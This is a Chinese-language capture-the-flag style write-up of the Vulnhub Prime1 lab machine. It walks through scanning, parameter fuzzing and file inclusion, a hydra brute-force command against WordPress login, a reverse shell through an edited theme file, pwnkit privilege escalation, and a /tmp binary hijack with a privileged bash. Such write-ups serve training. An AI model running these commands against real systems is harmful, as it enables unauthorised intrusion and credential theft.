Vulnhub Prime1

0x01:端口扫描

主机发现

nmap -sn 192.168.231.0/24

image-20241204190052998

全端口扫描

image.png

UDP扫描没有结果

详细端口扫描

image.png

漏洞扫描

image-20241204191529213

看来是一个wordpress的cms

0x02:web渗透

扫目录

image-20241204211158248

image-20241204211557029

先看secret.txt

image-20241204193826464

需要我们多做一些模糊测试

我们看到其他目录

image-20241204194428822

那我们现在开始做模糊测试

ffuf -u http://10.10.10.148/index.php?FUZZ=something -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

image-20241204210413958

我们进一步筛选

ffuf -u http://10.10.10.148/index.php?FUZZ=something -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 136

image-20241204210510375

得到file

image-20241204210623833

我们把之前看到的location.txt填进去

image-20241204210824255

他让我们去其他的php页面上尝试这个参数secrettier360

之前我们扫目录扫到了image.php,我们试试

image-20241204211713099

额,那这个应该是一个凭证了

image-20241204211838201

结果不正确。。。尝试了爆破也没有爆出来,但是他为什么说这是正确的参数呢?

我们继续尝试那个参数在image里,尝试sql注入或者文件包含什么的

image-20241204212243624

不是sql注入

image-20241204212342828

是文件包含无误了,提示我们去拿password.txt

image-20241204212533264

得到凭证密码follow_the_ippsec

但是还是无法登录,我们缺少了用户名,尝试hydra爆破了

image-20241204214055275

hydra -L /usr/share/wordlists/rockyou.txt -p follow_the_ippsec 192.168.231.145 http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.231.145%2Fwordpress%2Fwp-admin%2F&testcookie=1:ERROR"

没有爆出来,换一种方法

因为他用的是wordpress,我们可以使用wpscan去探测用户名

wpscan --url http://192.168.231.145/wordpress -e u

image-20241205162314438

用户名是victor,这么简单的用户名为什么hydra会没有报出来呢,这个放在思考里

我们登录victor@follow_the_ippsec

image-20241205162825212

版本为5.2.2

image-20241205170546779

有XSS漏洞,暂且放一边

看到传文件,试试

image-20241205163532242

找到了个可写文件,还是php的

image-20241205163741829

image-20241205171429514

反弹shell

image-20241205171604778

0x03:权限提升

提升tty

python -c 'import pty; pty.spawn("/bin/bash");'
export TERM=xterm-256color

查自动任务

image-20241205173409139

由于没有vim,我们用echo或者nano去写

image-20241205174612093

权限不够

查看S位

image-20241205175209434

又有polkit和pkexec,还是用pwnkit的脚本

经过尝试,c版和python版都可以

image-20241205175440574

image-20241205195337615

0x04:思考总结

1.其实刚刚可以不用hydra或者wpscan去扫描用户名的,因为在之前就已经给出来了

image-20241205171831652

2.为什么hydra会爆破不出这么简单的用户名呢

可能是错误的识别方式有问题,我们爆破web页面的话还是用yakit

image-20241205194454821

3.还可以另外一种内核提权

image-20241205201534037

4.横向提权

这台机子非常的抽象,我们是反弹shell进来的,居然sudo -l会有nopasswd

image-20241205201659166

在linpeas看到隐藏在/opt的文件,拿到enc密码backup_password

image-20241205203910991

image-20241205203948972

sudo执行要输入完整路径,执行完后会生成两个文件

sudo /home/saket/enc

image-20241205204413293

image-20241205204634633

enc.txt里的是一串密文

image-20241205210815341

推测为base64+AES

key.txt让我们去md5加密ippsec,注意如果要使用echo要加上-n

-n:去除换行

image-20241205205108624

image-20241205205117640

因为是二进制数据,所以我们还要tohex

image-20241205212124555

3336366137346362336339353964653137643631646233303539316333396431

openssl enc -a -d -in enc.txt -K '3336366137346362336339353964653137643631646233303539316333396431' -aes-256-ecb 2>/dev/null

openssl enc:使用 OpenSSL 的 enc 命令来执行加解密操作。

-a:指示输入数据是 Base64 编码的。

-d:表示进行解密操作。

-in enc.txt:指定输入文件 enc.txt,这是加密数据所在的文件。

-K '3336366137346362336339353964653137643631646233303539316333396431':指定解密密钥,以十六进制形式提供。这里的密钥是一个 64 位的十六进制字符串,对应的是 256 位的 AES 密钥(32 字节)。

-aes-256-ecb:指定使用 AES-256 算法,模式是 ECB(Electronic Codebook),即电子密码本模式。

2>/dev/null:将错误输出重定向到 /dev/null,避免显示错误信息。

image-20241205212238923

告诉我们是saket的passwd,我们横向移动

image-20241205212343615

看一下这个是什么用处

image-20241205212421945

没有这个文件,我们劫持

echo "/bin/bash -ip" >> /tmp/challenge && chmod +x /tmp/challenge

-i:表示启动一个交互式的 shell。

-p:以 privileged(特权模式)启动 shell,通常会绕过一些安全限制。

image-20241205212758202

posted @ 2024-12-05 21:35  kelec0ka  阅读(3)  评论(0编辑  收藏  举报